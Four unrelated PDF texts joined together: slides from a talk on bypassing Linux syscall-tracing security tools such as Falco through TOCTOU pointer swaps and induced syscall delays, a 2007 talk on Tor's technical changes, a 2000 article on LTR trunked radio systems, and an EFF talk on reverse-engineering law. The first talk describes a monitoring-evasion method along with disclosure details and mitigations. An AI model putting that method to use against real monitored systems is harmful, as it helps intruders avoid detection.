__secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) User Space Kernel 5.7.0 syscall enter trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) syscall exit Execution Flow ptrace/seccomp/sysenter tracepoint Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } TOCTOU - Connect ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) User Space Kernel 5.7.0 syscall enter trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) syscall exit Execution Flow Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } TOCTOU - Connect ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) User Space Kernel 5.7.0 syscall enter trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) syscall exit Execution Flow ptrace/sysexit tracepoint Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } TOCTOU - Connect ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) User Space Kernel 5.7.0 syscall enter trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) syscall exit Execution Flow Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } Userspace pointer pointing to “socket address” TOCTOU - Connect ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) User Space Kernel 5.7.0 syscall enter trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) syscall exit Execution Flow Userspace pointer pointing to “socket address” Kernel pointer pointing to “socket address” Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } TOCTOU - Connect ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) User Space Kernel 5.7.0 syscall enter trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) syscall exit Execution Flow Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … TOU by Linux Kernel long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } TOCTOU - Connect ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) User Space Kernel 5.7.0 syscall enter trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) syscall exit Execution Flow Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … TOU by Linux Kernel long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } TOCTOU - Connect ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) User Space Kernel 5.7.0 syscall enter trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) syscall exit Execution Flow TOC by Tracing Programs sys_enter tracepoint ptrace kprobe Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … TOU by Linux Kernel long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } TOCTOU - Connect ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) User Space Kernel 5.7.0 syscall enter trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) syscall exit Execution Flow TOC by Tracing Programs sys_exit tracepoint ptrace Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … TOU by Linux Kernel long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } TOCTOU - Connect User Space Kernel 5.7.0 syscall enter syscall exit Execution Flow Falco pdig Falco (<0.31.1) kernel module/eBPF Falco pdig Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … TOU by Linux Kernel ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } TOCTOU Windows across Kernels • TOCTOU windows exist since the initial release of tracepoint/ptrace • Expected behaviors • Monitor kernel memory TOCTOU – Falco • User space pointers are dereferenced by • sys_exit tracepoint (kernel module, eBPF) • sys_exit ptrace (pdig) • Falco older than v0.31.1 • Check with vendors which commercial versions are affected • 12/06/2021 Issue reported (CVE-2022-26316) • 03/11/2022 Mitigation implemented (Advisory) • For selected syscalls, compare sys_enter and sys_exit tracepoint data (Falco LKM, eBPF) • Compare sys_enter and sys_exit ptrace data (Falco pdig) TOCTOU – Falco • We evaluated the important syscalls in Falco rules. Syscall Category TOCTOU? Exploitable by blocking condition Exploitable by DC29 attack connect Network Y Y Y sendto/sendmsg Network Y N Y open(at) File Y Y Y execve File N N* N* rename File Y Y Y renameat(2) File Y Y Y mkdir(at) File Y Y Y rmdir File Y Y Y unlink(at) File Y Y Y symlink(at) File Y Y Y chmod/fchmod(at) File Y Y Y creat File Y Y Y Exploit Requirements • Exploitation requirements • No additional privilege and capabilities • Control the time to inject the delay • Enough delay for pointer overwrite • Reliable Exploit Strategy 1 (DEFCON 29) Phantom Attack: Evading System Call Monitoring, DEFCON 29. https://github.com/rexguowork/phantom-attack • Injected delay is small • Requires Userfaultfd syscall for precise injection while pausing the kernel execution • seccomp can block userfaultfd syscall (e.g., docker default seccomp profile) • Falco’s mitigation was to detect userfaultfd Exploit Strategy 2 • Injected delay >> the syscall execution time • No Precise control is required Syscall Built-in Delay • Attackers can trigger significant syscall delays by introducing: • Blocking conditions (attack sys_exit) • Seccomp rules (attack sys_enter) • Syscall can get “blocked” Categories Syscalls Process fork/exec/exit/wait/… File system open(at)/symlink(at)/read/write/… Networking connect/accept/socket/… Security seccomp/keyctl/… Many others… … Connect Syscall Execution Flow Bypassing Connect Syscall Tracing (Demo) Execution Flow Blocking Syscalls (File Systems) • File system syscalls are all affected • open/openat • creat • rename/renameat/renameat2 • mkdir/mkdirat • rmdir • Other file system syscalls with pointer arguments • Other syscalls are also affected due to fetching files from file systems. • execve/execveat Filesystem in USErspace - FUSE 1, https://github.com/GoogleCloudPlatform/gcsfuse 2, https://github.com/s3fs-fuse/s3fs-fuse 3, https://github.com/Azure/azure-storage-fuse 4, https://netflixtechblog.com/mezzfs-mounting-object-storage-in-netflixs-media-processing-platform-cda01c446ba • User space filesystem framework • Used as remote storage FUSE • Access the remote files as local ones • Faster evolvement and don’t panic the kernel etc. • Remote storage FUSE examples: • gcsfuse1 : developed by Google for GCS • s3fs-fuse2: Amazon S3 • BlobFuse3: developed by Azure for Blob storage • MezzFS4: developed and deployed @ Netflix • Many others (sshfs etc.) Remote Storage FUSE - Architecture Bypassing Openat Tracing (Demo) Execution Flow TOCTOU – sys_enter (Connect) User Space Kernel 5.7.0 syscall enter syscall exit Execution Flow ptrace Syscall Table (x86_64) … 42 sys_connect 43 sys_accept 44 sys_sendto … TOU by Linux Kernel ptrace_report_syscall(regs, message) __secure_computing(struct seccomp_data{regs…}) trace_sys_enter(regs, regs->orig_ax) trace_sys_exit(regs, regs->ax) ptrace_report_syscall(regs, message) long __sys_connect((int fd, struct sockaddr __user *uservaddr, int addrlen)) { … struct filename *tmp; ret = move_addr_to_kernel (uservaddr, addrlen, &address); if (!ret) ret = __sys_connect_file (f.file, &address, addrlen, 0); … } seccomp Seccomp Introduction • Kernel level mechanism to restrict syscalls • Modern sandboxes heavily relies on seccomp • Developers can write rules to: • allow/block certain syscalls • allow/block syscalls based on argument values • These rules can be quite complex (read more) • More rules takes more time to compute • First inserted rules are evaluated last Attacking Syscall Enter Execution Flow ptrace + seccomp redirect • Tracer starts App Exploitation and Mitigations Tracing location TOCTOU Exploitation Mitigations ptrace @ sys_enter Seccomp filter insertion - ptrace + seccomp redirect to start the app. - Inspect seccomp filters already inserted when attaching to a running app tracepoint @ sys_enter Unreliable N/A tracepoint @ sys_exit - Blocking syscall (This talk) - Phantom attack v1 (DEFCON 29) - Compare tracepoint sys_enter and sys_exit args ptrace @ sys_exit Same as above - Deploy all mitigations for ptrace @ sys_enter - Compared the sys_enter and sys_exit syscall args kprobe @ kernel internal It depends Read the kernel copy of the syscall args - LSM (BPF-LSM) - Other interfaces Key Takeaways 1. Linux kernel tracing can be bypassed reliably • Check your security tools 2. Mitigation is complex (workload type and kernel compatibility) • Check your security tools’ mitigation claims 3. Correlate different data sources 4. Know your normal • Discussing further? • @Xiaofei_REX / rex.guo *NOSPAM* lacework DOT com • jzeng04 *NOSPAM* gmail DOT com • POC: https://github.com/rexguowork/phantom-attack Acknowledgement • Joel Schopp (Linux kernel / Security) • Lacework Labs • James Condon • Greg Foss • Chris Hall • Jared Stroud • Falco open source team • Leonardo Di Donato • Michael Clark • Michele Zuccala • Luca Guerra • John Dickson
pdf
Technical changes since the last Tor talk Nick Mathewson The Tor Project <[email protected]> Defcon XV Aug 4, 2007 ● Tor was working, usable, and seemed pretty secure. (v 0.0.7.2) ● Pretty small network. ● No GUI—hard to use. ● We got a couple of Defcon talks! Marty! We've got to go back to the future2004! ● Hacking on Tor.(Latest is 0.2.0.4-alpha) – Security: adding features/fixing security bugs. – Scalability: adding capacity is hard. – Scalability: using capacity is hard. – Usability: adding GUIs, fixing bugs. – Integration: working nice with other apps is hard. – Lots more: See the changelog. ● Growing the network: ~200kuser, ~1kserver. What we've been up to since then. Outline ● Prelude: brief, fast introduction to Tor ● Directories and server discovery changes: More secure, more scalable! ● Path generation changes: More efficient, less filling! ● Circuit-building protocol changes: Oops. Crypto is hard. ● Some fun new tools and features: What do you mean, I need to edit a file? Intro anonymity: anonymity networks hide users among users. Alice2 Bob1 Bob2 Alice1 Alice3 Network Intro Tor:There are a bunch of servers, connected via TLS (ssl). S S S S S S S S S Intro Tor:clients build circuits through a network of decrypting relays. 1. S S S S S S S S S Alice2 2. 3. Alice1 Intro Tor:circuits are used to relay multiple TCP streams. 1. S S S S S S S S S Alice2 2. 3. Bob1 Bob2 Alice1 4. See also: PipeNet, Onion Routing 6. 5. A hostile first hop can tell Alice is talking, but not to whom. S S S S S S S S S Alice2 Bob1 Bob2 Alice1 A hostile last hop can tell somebody is talking to Bob, but not who. S S S S S S S S S Alice2 Bob1 Bob2 Alice1 But: two hostile hops can correlate traffic patterns and link Alice to Bob. S S S S S S S S S Alice2 Bob1 Bob2 Alice1 No obvious fix that isn’t extra-slow. I. Directories and server discovery ● Every client must know every server. – (If you just ask a server for a list of neighbors, it can trivially lie.) ● All clients must know the same servers. ● Servers shouldn’t be able to impersonate each other. – (Use self-signed descriptions; identity by PK.) ● Bandwidth matters a lot. We need to tell clients about servers. Server discovery is hard because misinformed clients lose anonymity. S S S S S S S S S Alice2 Bob1 Bob2 Alice1 Known to Alice1 Known to Alice2 2004: every authority published a big list of server information. That was slow. S1 S2 Sn Authority Authority Authority Client Client Client ... .... Adding caches helped with performance... S1 S2 Sn Authority Authority Authority Client Client Client ... Cache Cache Cache Cache .... But a single bad authority could still break clients badly... S1 S2 Sn Authority Authority Authority Client Client Client ... Cache Cache Cache Cache .... And most information was redundant. Client Cache “What's the directory?” Sign(Desc1,Desc2,Desc3..Desc99) “What's the directory?” Sign(Desc1,Desc3..Desc99,Desc100) So split directory into status (signed) and individual descriptors Client Cache “What do authorities A and B say?” SignA(digest list), SignB(digest list) “Send me descriptor with digest X” Descriptor with digest X (2005) Remaining Problems: partitioning, redundancy. Naming and requesting descriptors by digest prevents attacks. S1 Authorities Client Cache “Use server whose identity key is X”. “Here’s one just for you!” ID = X Authorities now vote on a single consensus status document. (2007) S1 S2 Sn Authority Authority Authority ... 1. Distribute signed opinions. 2. Compute result of vote, and sign it. 3. Distribute signatures; make multi-signed document. 4. Clients check signatures. 5. Profit! Authorities say more than “yes/no” for each server. ● Named? Authority? ● Running? Guard? ● Valid? ● Fast? ● Stable? ● Bad exit? ● Exit? (Actually determining these can be hard.) (Keywords define client behavior; authorities improve criteria.) II. Path generation 2004: all servers chosen with equal* probability, regardless of capacity. S1 Client bw=x p=2x bw=4x bw=x bw=x/2 bw=2x bw=2x bw=x bw=x bw=x/2 Big servers were underused. Tiny servers were overloaded. Now: Bandwidth is not uniform, so don't select uniformly. S1 Client p=x p=2x p=4x p=x p=x/2 p=2x p=2x p=x p=x p=x/2 (But cap the maximum to prevent trust bottlenecks.) S1 Client p=x p=2x “I can push a terabit. No, really!” p=x p=2x p=2x p=x Unstable servers are useful, but not for (SSH, IM, ...) Client 1 hour 10 days 10 days 1 hour 10 days Use long-lived servers for long-lived connections. Client 1 hour 10 days 10 days 1 hour 10 days Okay for port 22. Our original “random” path-selection approach made sure that every client would eventually be profiled. Alice loses if first and last hop are evil. (Correlation attacks) Suppose c/n nodes (bandwidthwise) are compromised. Therefore, (c/n)^2 of Alice's circuits are compromised. Therefore, if Alice's behavior stays the same, she will eventually lose. Tor clients now use “guard” servers to give long-term Alice a chance. Alice S S S S S S Chosen at random*, held fixed**. If Alice’s guards are good, Alice never has a vulnerable path. Okay, so guard nodes might go down. S S X So add more as needed, but keep them in order... S S S S X ...so we can go back to the original set when they come back online. S S Old Tor:circuits built on-demand only. This was slow. Predict desired ports based on past behavior. Alice S S (exit to 80,22) S S S (exit to 8001) S “Cannibalize” unused circuits for faster response to requests no circuit supports. Alice S S S S (exit to weird port) Service on weird port III. Circuit-building protocol Extend by IP:Port was insufficient: nodes don't all know each other. Alice S1 S2 “Extend this circuit to S2 at 18.244.0.188:9010” “Uh, how?” In practice, server knowledge is not 100% synchronized. So, use identity key and IP. Using key-only ID for this created an MITM attack. Alice S1 S2 “Extend this circuit to S2 at evil:9010” Only good for traffic analysis... but other users were effective. (So, don’t use only identity key.) evil Using encrypted create cell for first hop was needless crypto. Old Alice S “Uh, guys? This is TLS.” New Alice S E(g^x) g^y,H(K=g^xy) X Y,H(K=H(X|Y)) Already encrypted, authenticated Speaking of cryptography, check for bad values of g^x, g^y. Client Bad server Server 2 E2(gx) E2(g0) gy,H(g0y) g0, H(gx0) “oops.” (but once we checked for bad g^x,g^y,Ian Goldberg could prove this protocol secure.) (Also, we patched OpenSSL for this.) III. Tools and features Old Tor:everybody must speak SOCKS. browser Tor ??????? Privoxy/ polipo HTTP SOCKS App TCP gaim SOCKS ??????? The old solutions kind of sucked. browser Tor Privoxy/ polipo HTTP SOCKS SOCKS gaim SOCKS Replaced libc calls Linux/BSD App On windows, you could do a net driver... OSX was screwed. TransPort (+iptables/pf) support any TCP App Tor You can also do use a VM as your router: see JanusVM. Privoxy/ polipo HTTP SOCKS App Linux, BSD or OSX TCP TCP + address App SOCKS Problem: DNS leaks are hard to solve. Tor Dumb App SOCKS “get me 1.2.3.4!” DNS “Where is naughty.com?” “1.2.3.4!” Old solution: “use SOCKS4a or else!” Tor Smart App SOCKS “get me naughty.com!” New solution: Tor acts as a DNS server Tor Dumb App SOCKS “get me 1.2.3.4!” DNS “Where is naughty.com?” “1.2.3.4!” This also lets dumb apps handle .onion addresses. Problem: editing text files is hard. So, add support for external GUIs. Tor Vidalia TorK .... Things to do: ● Tor: https://torproject.org – Try it out; want to run a server? – See docs and specs for more detail. ● Donate to Tor! – https://torproject.org/donate.html – (We’rea tax-deductible charity!) ● Donate to EFF too! – I’m in the dunk tank at 6:30 ● See more talks! – Roger at 2 on anti-censorship – Mike at 5 on securing the network and apps.
pdf
Logic Trunked Systems http://www.signalharbor.com/ttt/00may/index.html 1 of 5 6/18/2007 14:08 This article first appeared in the May 2000 issue of Monitoring Times. LOGIC TRUNKED SYSTEMS This month we continue our tour of different trunked radio systems with a look at Logic Trunked Radio (LTR). This protocol was developed in 1978 by the E.F. Johnson company and is still in use, primarily by private companies such as taxicabs, utilities, delivery trucks, and repair services. It is not very popular with public safety agencies, who typically operate either Motorola or EDACS trunked radio systems. LTR operates differently than Motorola and EDACS in several ways. Decentralized operation All mobile radios in a centralized trunking system must request service through a single control channel. Access requests are usually handled in sequential order, and this bottleneck may delay messages during periods of heavy use. More importantly, a dedicated control channel also removes one radio frequency from use as a voice channel. A five-channel Motorola system, for instance, would have one control channel and four voice channels. LTR systems use a distributed method of access where service may be requested on any channel, and every channel may be used for voice communications. In a five-channel LTR system, all five channels can be used for voice traffic, making more efficient use of the assigned radio frequencies. Also, since each repeater operates more or less independently, if equipment associated with one repeater fails, all the others continue to operate normally. LTR systems can have up 20 repeaters, one repeater per channel, all of which must be located at a single site. The repeaters are physically interconnected by a data bus and share status information with each other. Each repeater can then transmit information about which channels are idle and which are busy, and which talkgroup is active on which channel. LTR uses digital control signaling combined with analog voice transmissions. Each repeater continuously transmits information in a sub-audible data stream that rides below the voice information. A 150 Hz tone transfers data at 300 bits per second, but is not usually heard since most scanners only pass audio signals between 300 Hz and 3000 Hz. Because LTR mobile radios always know which channels are busy, they only transmit a request for service when a channel is idle. Other trunking systems allow their mobiles to attempt access even when every channel is full, further congesting the control channel. LTR repeaters usually operate in transmission trunking mode, where the channel is used only for the duration of the transmission. When the user who is talking lets up on the push-to-talk switch, the repeater releases the channel and makes it available for other users. As the conversation progresses each transmission may appear on a different radio frequency, giving the impression that the conversation "hops" from one channel to another. Under some circumstances a repeater may switch to message trunking and hold a channel open for the duration of a conversation. This is often done for telephone calls or other interconnected operations. Even when in transmission trunking mode, some other trunking systems do not immediately Logic Trunked Systems http://www.signalharbor.com/ttt/00may/index.html 2 of 5 6/18/2007 14:08 release the channel after the user stops talking. The repeater is configured to hold the channel open for a second or two, giving the other members of the talkgroup an opportunity to respond. If the system is very busy and the channel is released right away, a second conversation may take the channel and a person trying to respond in the first conversation will not be able to answer, since all the channels would be in use. This "hang time" is rarely needed, but it increases the waiting time for other mobile radios to access the system. It also means scanner listeners may hear a moment of dead air or system noise after the conversation ends but before the repeater turns off, which usually prevents the receiver from resuming scanning. Mobile Identification Each LTR mobile radio is assigned to one of the repeaters. Whenever a mobile radio is not involved in a call it is listening to its "home" repeater to keep track of idle channels and to know if anyone is calling it. Even though LTR mobile radios have the ability to make a call on any channel, they usually try their home repeater first. Each repeater can be assigned as many as 250 identification codes. The combination of home repeater number and identification code is the "address" of a mobile radio. A typical five-repeater system could have as many as 1,250 separate addresses and the largest twenty-repeater system may have up to 5,000 addresses. An address may be assigned to an individual mobile radio and used as a unique identifier, or it may be used as a group identifier by assigning it to more than one mobile radio. Each LTR system also has an "area code" which is usually included in the address. This value can be either 0 or 1, and is usually 0. If two LTR systems are operating close enough to interfere with each other, one system will be assigned area code 0 and the other will be assigned area code 1. Repeaters in area code 0 will ignore transmissions with an area code of 1, and vice versa. Mobile radios will also listen only to their assigned area code. Enhancements LTR-Net is a follow-on protocol to the original LTR, providing users with additional features and functionality. The LTR-Net protocol allows multiple sites to interconnect, giving users the ability to dispatch and communicate across a much wider area. It also supports direct radio-to-radio communication, direct dialed telephone calls, and over-the-air radio reprogramming. Logic Trunked Systems http://www.signalharbor.com/ttt/00may/index.html 3 of 5 6/18/2007 14:08 The LTR-Net protocol is compatible with the older LTR equipment. LTR radios can operate on an LTR-Net system, and LTR-Net radios can operate on LTR systems. A user with an LTR-Net radio can even be in the same talkgroup as an LTR radio user, and operate on the same channel. In 1998 the first LTR-Net began operation in Des Moines, Iowa and Omaha, Nebraska to serve customers in the construction and service industries. There is also an LTR-Net system operating in 800 MHz and 900 MHz on the Caribbean island of Puerto Rico, providing voice, data, credit card verification and even GPS position reporting to commercial customers. E. F. Johnson also sells a different trunking system called Multi-Net, which is not compatible with LTR and is not readily decoded by scanner listeners. LTR decoding equipment LTR has not been a priority for the TrunkTracking scanners made by Uniden, probably due to the lack of public safety organizations using this protocol. For the hobbyist there are a few other options. Radio Shack has been selling the PRO-92 scanner since November of 1999. This 500-channel scanner, built by GRE in Japan, has built-in support for LTR systems as well as Motorola and EDACS. There have been a number of complaints about possible firmware bugs in this receiver, some of which are related to LTR. Many unhappy users have returned their radios to Radio Shack for a refund, although many happy users continue to report good results. It appears to depend largely on geographic location and the particular signal characteristics of the systems being monitored. It’s rumored that GRE is working on some fixes for the reported problems, and a new version of firmware is in the works. To check the firmware version of a PRO-92, press the "3" key while the scanner is powering up and showing "Welcome to Multi-System Trunking." My scanner reports "Version 1.00," so I'm sure I've got all of the reported bugs. Optoelectronics, based in Ft. Lauderdale, Florida, offers two different products capable of handling LTR. The OptoCom is a computer-controlled receiver that uses a personal computer to decode and follow LTR trunking signals. The software was written specifically for the OptoCom and is included with the receiver. It provides full trunk following for LTR and Motorola systems, as well as the ability to receive non-trunked radio signals. The OptoTrakker is an add-on box that connects to a user-supplied communications receiver and is capable of decoding LTR as well as several types of tone-controlled squelch used in non-trunked systems. It also comes with personal computer software that provides complete trunk following for LTR and Motorola systems when used with a particular Icom or AOR receiver. I'd be interested in hearing from readers who are using the OptoCom or OptoTrakker for LTR decoding, or who have other setups for listening to LTR transmissions. Finding LTR systems Logic Trunked Systems http://www.signalharbor.com/ttt/00may/index.html 4 of 5 6/18/2007 14:08 LTR operations can be found in the 800 MHz and 900 MHz frequency bands, as well as some relatively new systems in UHF. Remember that 800 MHz trunking repeaters will transmit between 851 MHz and 869 MHz, so concentrate your efforts there. LTR systems are not nearly as popular with scanner listeners as Motorola or even EDACS, and it is often very difficult to determine exactly who is using the system. Many LTR systems are owned and licensed to a private service provider. The provider, in turn, sells radios and airtime to many customers, each of whom usually has one or two talkgroups. For example, on a simple five-repeater system there may be private ambulance companies, taxicab operators, cable television repairmen, building inspectors, and local delivery trucks. Chicago, Illinois Midway Airport (MDW), while still perpetually under construction, is reported to have an LTR system running on the following frequencies: 476.3125, 476.5625, 476.7875, 477.4125, 477.6375, and 477.0875 MHz. Any reports from Chicagoland listeners would be welcome, especially to confirm whether the Chicago Police Department's Airport Law Enforcement Unit is using this system. Bloomington, Indiana Indiana University uses 854.7625, 855.0625, 856.8875, 857.8875, 858.8875, 859.8875, and 860.8875 MHz for their LTR system. Building maintenance and custodial services appear to be the heaviest users. So for all of you students exploring the steam tunnels, check these frequencies first! Evansville, Indiana At least one ambulance service is using this private system licensed to Mobiletel. Frequencies: 856.0625, 856.1875, 857.0625, 857.1875, 858.0625, 858.1875, 859.0625, 859.1875, 860.0625, and 860.1875 MHz. Marshfield, Massachusetts This seaside town south of Boston uses five frequencies: 453.4375, 453.5625, 453.5875, 453.6625, and 453.7625 MHz. Talkgroup 005000 is the Marshfield Harbormaster and the Fire Department uses 001010. Talkgroup 005020 is town-wide, used for simultaneously reaching the police department, fire department, and the harbormaster. Rochester, New York Genesee Business Radio Systems operates what amounts to two LTR systems. The systems overlap enough to require the use of the area code digit to separate them. Time Warner, the local cable television provider, has been heard using talkgroups 002151, 002152, 003151, and 003152. Rochester Cab uses 019120 and 019100. Note that there may be more frequencies in use than what is listed here. Area Code 0: 851.3375, 851.7375, 852.2375, 852.2875, 852.6875, 853.1375, 863.8875, 865.6875, 864.3375, 864.7875, 852.7125, 865.1875, and 865.6375 MHz. Logic Trunked Systems http://www.signalharbor.com/ttt/00may/index.html 5 of 5 6/18/2007 14:08 Area Code 1: 865.9875, 865.9625, 865.7875, 864.1625, 865.0625, 865.3375, 864.8875, 864.6375, 864.6125, 864.4375, 864.1875, and 863.9875 MHz. Milwaukee, Wisconsin At least two private LTR systems operate in and around Milwaukee, each with a private ambulance company as a customer. One uses the frequencies 861.2875, 862.2875, 863.2875, 864.2875, and 865.2875 MHz. The other operates on 855.5875, 856.7875, 857.7875, 858.7875, 859.7875, and 860.7875 MHz. That's all for this month. Keep those e-mails coming to [email protected], and check my website at www.decodesystems.com for more radio-related information. Perhaps I'll even see you at the Dayton HamVention! Until next month, happy monitoring! Comments to Dan Veeneman Click here for the index page. Click here for the main page.
pdf
The Law of Reversing Fred von Lohmann EFF Senior Staff Attorney Jennifer Stisa Granick EFF Civil Liberties Director DEFCON 17 July 31, 2009 Topics: 1. Legal Traps for Reverse Engineers 2. Jailbreaking the iPhone 3. Online Gaming 4. Lessons and Strategies www.eff.org Work We Do Coders’ Rights DRM Free Speech Fair Use Privacy The Law of Reverse Engineering The Law of Reverse Engineering install & use software (license agreements) make copies of code created by others (copyright bypass avoid access controls (DMCA) access networked computers (CFAA) The Law of Reverse Engineering [things we’re not talking about today] patents trade secrets Example of Jailbreaking app developers jailbreak developers (iPhone Dev Team) end users Jailbreaking and Licenses SDK License EULA Jailbreaking and Licenses What does it say about RE? Are these enforceable contracts? Did you click “I agree”? Is a ban on reversing enforceable? What’s your exposure for breach? Jailbreaking and Licenses Reverse engineering terms upheld: Bowers v. Bay State Davidson & Associates v. Jung (BNETD) But then there’s Europe… Jailbreaking and © Why © is scarier than contract: Statutory damages Injunctions Criminal penalties Jailbreaking and © Exclusive rights of © owner: Reproduction Distribution Derivative Works Public Performance Public Display Jailbreaking and © Defenses for reverse engineers: Section 107: Fair use Section 117 Jailbreaking and © Fair Use f reverse engineering is required to gain access to unction and ideas, any intermediate copies made a art of reverse engineering are fair use. e sure that you are legitimately in possession of th oftware, and do not copy code in your final produc nless necessary. Jailbreaking and © Section 117 he owner of a copy of a computer program may opy or adapt that program as “an essential step in he utilization of the computer program with a machine.” Jailbreaking and © Section 117 Are you the “owner” of the software? s this an “adaptation” created as an “essential step” f using the software? Jailbreaking and DMCA Section 1201 Prohibitions: Acts of Circumvention Trafficking in Circumvention Tools Jailbreaking and DMCA No person shall circumvent a technological measur that effectively controls access to a work protected by copyright. No trafficking in tools that are primarily designed valuable or marketed for such circumvention. Jailbreaking and DMCA Remedies: Statutory damages Injunctions Criminal penalties (if commercial) Jailbreaking and DMCA Technological measure? DVD encryption protocol encryption authentication handshakes “chain of trust” code signing? code obfuscation? undocumented protocols? Jailbreaking and DMCA Statutory exceptions: Reverse engineering for interoperability Security testing Encryption research Law enforcement [also must be a nexus with infringement] Jailbreaking and DMCA 1201(f): Reverse engineering for interoperability A person who has lawfully obtained the right to use a cop of a computer program may circumvent … for the sole urpose of identifying and analyzing those elements of th program that are necessary to achieve interoperability o an independently created computer program with other programs, and that have not previously been readily available to the person engaging in the circumvention, to the extent any such acts of identification and analysis do not constitute infringement... Jailbreaking and DMCA 1201(f): Reverse engineering for interoperability lawfully obtained for the sole purpose of identifying and analyzing … to chieve interoperability for program-to-program interoperability information not previously been readily available not infringing (i.e., fair use) Jailbreaking and DMCA Application to Jailbreaking: Jailbreaking tool developers? iPhone owners? DMCA Triennial Rule-Making http://www.copyright.gov/1201 Proposed Jailbreaking Exception Computer programs that enable wireless elephone handsets to execute lawfully obtained software applications, where circumvention is accomplished for the sole purpose of enabling interoperability of such applications with computer programs on the elephone handset . Special issues raised by networked applications Online Gaming many of the same issues as jailbreaking, but n there's a network •Blizzard v. In Game Dollar •Bragg v. Linden Labs •Other examples Applied to online games CFAA Whoever ... accesses without authorization or exceeds authorized access…and thereby obtains-- (A) information from a financial institution, credi card issuer or consumer reporting agency (B) information from any department or agency o the United States; or (C) information from any protected computer Unauthorized Access: 1030(a)(2) Whoever ... (A) knowingly causes the ransmission of a program, information, ode, or command, and as a result of such onduct, intentionally causes damage without authorization, to a protected omputer Causes Damage: 1030(a)(5) B) intentionally accesses a protected compute without authorization, and as a result of such conduct, recklessly causes damage; or C) intentionally accesses a protected compute without authorization, and as a result of such conduct, causes damage; and Causes Damage: 1030(a)(5) means any impairment to the integrity or availability of data, a program, a system, or information Damage What You Can Do: Strategies & Lessons Avoid clicking through EULAs Think before copying Copy no more than necessary (clean room) f there's encryption or obfuscation re-read 1201(f) Off-shoring and its limitations The importance of "atmospherics" Questions?
pdf
